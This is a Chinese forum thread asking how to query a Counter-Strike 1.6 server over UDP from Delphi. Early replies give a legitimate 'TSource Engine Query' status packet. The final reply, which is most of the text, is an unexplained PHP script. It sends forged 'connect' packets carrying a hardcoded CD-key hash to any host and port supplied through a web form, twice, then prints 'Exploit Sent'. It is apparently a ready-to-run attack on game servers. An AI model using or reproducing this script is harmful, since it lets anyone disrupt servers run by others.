delphi怎么发送UDP十进制数据?
我是想发送给CS服务器,然后它就会返回服务器的人数和地图等信息,
但是现在没头绪啊。请各位老大指点指点~

解决方案 »

  1.   

    用抓包工具(比如wpe)抓CS正常通讯的包。然后,分析,再模拟给服务器发包。 
      

  2.   

    CS1.6服务器通讯协议目前是没有加密的有专门进行服务器状态查询的接口.
    如下:
    type
      TCSQueryPackage= packed record  //size=25
        Head:Dword; //一般设置为$FFFFFFFF  /len=4
        Data:array [0..20] of Char; //一般设置为:TSource Engine Query最后为#0结束 len=21
      end;使用直接:
    Var 
     CSQuery:TCSQueryPackage;
    begin
     CSQuery.Head:= $FFFFFFFF;
     StrCopy(@CSQuery.Data[0],'TSource Engine Query');
     UDP.Send(@CSQuery,25);
     ....
    end;
    接收到的数据格式稍后贴上.
      

  3.   

    通讯协议不就是UDP吗~发一串特定的十进制数据到服务器,就会回复服务器状态数据,不过要将数据转换格式才能得到正确的状态,这方面的资料我有了,但是不知道DELPHI怎么发包和收包,,,,
      

  4.   

    我也在郁闷住 我用的是C#  我知道PHP发的命令是\xFF\xFF\xFF\xFFping\x00ping可以是maps ,player等等 但是现在我在写一个CS游戏平台就差这个HLSW功能了 我用UDP 同步 异步都发了(异步发了几次 缓存就慢不给发了) 用TCP连接 提示服务器积极拒绝! 现在正在郁闷那! 我QQ 26442596 有兴趣的我们一起进步!
      

  5.   

    php      ini_set("display_errors","0");      function HELLO_PACKET()
          {
          $packet = pack("H*","FFFFFFFF");
          $packet .= "TSource Engine Query";
          $packet .= pack("H*","00");
          return $packet;
          }      function CHALLENGE_PACKET()
          {
          $packet = pack("H*","FFFFFFFF");
          $packet .= "getchallenge valve";
          $packet .= pack("H*","00");
          return $packet;
          }      function LOGIN_PACKET_4()
          {
          global $cookie;
          global $password;
          $packet = pack("H*","FFFFFFFF");
          $packet .= "connect 47 ";
          $packet .= $cookie.' "';
          $packet .= '\prot\4\unique\-1\raw\valve\cdkey\d506d189cf551620a70277a3d2c55bb2" "';
          $packet .= '\_cl_autowepswitch\1\bottomcolor\6\cl_dlmax\128\cl_lc\1\cl_lw\1\cl_updaterate\30\mod';
          $packet .= 'el\gordon\name\Born to be pig (..)\topcolor\30\_vgui_menus\1\_ah\1\rate\3500\*fid\0\pass';
          $packet .= 'word\'.$password;
          $packet .= pack("H*","220A0000EE02");
          return $packet;
          }      function LOGIN_PACKET_2()
          {
          global $cookie;
          global $password;
          $packet = pack("H*","FFFFFFFF");
          $packet .= "connect 47 ";
          $packet .= $cookie.' "';
          $packet .= '\prot\2\raw\d506d189cf551620a70277a3d2c55bb2" "\_cl_autowepswitch\1\bott';
          $packet .= 'omcolor\6\cl_dlmax\128\cl_lc\1\cl_lw\1\cl_updaterate\30\model\gordon\nam';
          $packet .= 'e\Born to be pig (..)\topcolor\30\_vgui_menus\1\_ah\1\rate\3500\*fid\0\pass';
          $packet .= 'word\'.$password;
          $packet .= pack("H*","22");
          return $packet;
          }      function dowork($host,$port,$password,$auth)
          {
          global $password;
          global $cookie;
          # connecting to target host
          $fsock = fsockopen("udp://".$host,(int) $port,$errnum,$errstr,2);
          if (!$fsock) die ($errstr);
          else 
          {
          # sending hello packet
          fwrite ($fsock,HELLO_PACKET());
          fread ($fsock,100);
          # sending chalennge packet
          fwrite ($fsock,CHALLENGE_PACKET());
          # recieving cookies
          $resp = fread($fsock,100);
          # grab cookies from packet
          $cookie = substr($resp,strpos($resp,"A00000000")+10);
          $cookie = substr($cookie,0,strpos($cookie," "));
          # sending login packet
          if (!$auth) fwrite ( $fsock,LOGIN_PACKET_4());else fwrite ( $fsock,LOGIN_PACKET_2());
          $resp = fread($fsock,100);
          }
          }      IF (isset($_POST['host']) && isset($_POST['port']))
          {
          IF (empty($_POST['pass'])) $password = "123";
          else $password = $_POST['pass'];
          $fserver = $_POST['host'];
          $fport = $_POST['port'];
          if (isset($_POST['auth'])) $fauth = true;else $fauth=false;
          # we have to connect 2 times
          $result = dowork($fserver,$fport,$password,$fauth);
          $result = dowork($fserver,$fport,$password,$fauth);
          # parsing result
          echo "Exploit Sent";
          }